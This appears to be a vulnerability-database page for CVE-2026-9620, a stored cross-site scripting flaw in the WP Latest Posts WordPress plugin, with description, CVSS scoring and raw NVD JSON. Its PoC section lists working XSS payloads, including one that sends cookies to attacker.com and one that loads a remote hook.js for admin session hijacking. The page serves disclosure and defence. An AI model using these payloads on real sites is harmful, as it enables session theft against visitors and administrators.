Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-9620 CVSS 6.4 MEDIUM

CVE-2026-9620

Published: 2026-06-24 07:16:30
Last Modified: 2026-06-25 14:16:57

Description

The WP Latest Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via crafted image src attributes in post content in versions up to, and including, 5.0.11. This is due to insufficient output escaping in the field() and loop() functions, which extract the raw src attribute value from <img> tags within post_content using a regular expression and then reconstruct new <img> elements or CSS background-image declarations by directly concatenating the unescaped value β€” bypassing WordPress's kses filtering entirely. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Latest Posts < 5.0.12
WP Latest Posts <= 5.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-9620: Stored XSS in WP Latest Posts Plugin Vulnerable versions: <= 5.0.11 Required privilege: Author level or above The attacker creates/edits a post and injects the following malicious img tag into the post content. The plugin's field() and loop() functions extract the raw src attribute via regex and reconstruct HTML without escaping, bypassing WordPress kses filtering. --> <!-- Malicious post content (inserted by authenticated author) --> <img src="><img src=x onerror=alert(document.cookie)><!-- <!-- Alternative payloads --> <!-- Payload 1: Cookie stealing --> <img src="><script>fetch('https://attacker.com/steal?c='+document.cookie)</script><!-- <!-- Payload 2: Admin session hijacking --> <img src="><img src=x onerror="var s=document.createElement('script');s.src='https://attacker.com/hook.js';document.body.appendChild(s);"><!-- <!-- Payload 3: Using javascript: URI in reconstructed background-image --> <img src="javascript:alert('XSS')"> <!-- When the post is rendered through the WP Latest Posts widget/block, the plugin's regex extracts the raw src value and directly concatenates it into the output HTML, causing the injected script to execute in the victim's browser. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9620", "sourceIdentifier": "[email protected]", "published": "2026-06-24T07:16:29.973", "lastModified": "2026-06-25T14:16:56.720", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Latest Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via crafted image src attributes in post content in versions up to, and including, 5.0.11. This is due to insufficient output escaping in the field() and loop() functions, which extract the raw src attribute value from <img> tags within post_content using a regular expression and then reconstruct new <img> elements or CSS background-image declarations by directly concatenating the unescaped value β€” bypassing WordPress's kses filtering entirely. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "joomunited", "product": "WP Latest Posts", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "5.0.11", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T13:28:52.020223Z", "id": "CVE-2026-9620", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-latest-posts/tags/5.0.11/inc/wplp-front.inc.php#L2284", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-latest-posts/tags/5.0.11/inc/wplp-front.inc.php#L2326", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-latest-posts/tags/5.0.11/inc/wplp-front.inc.php#L2738", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e00f69d6-df33-4179-843b-98f8ed034e4a?source=cve", "source": "[email protected]"}]}}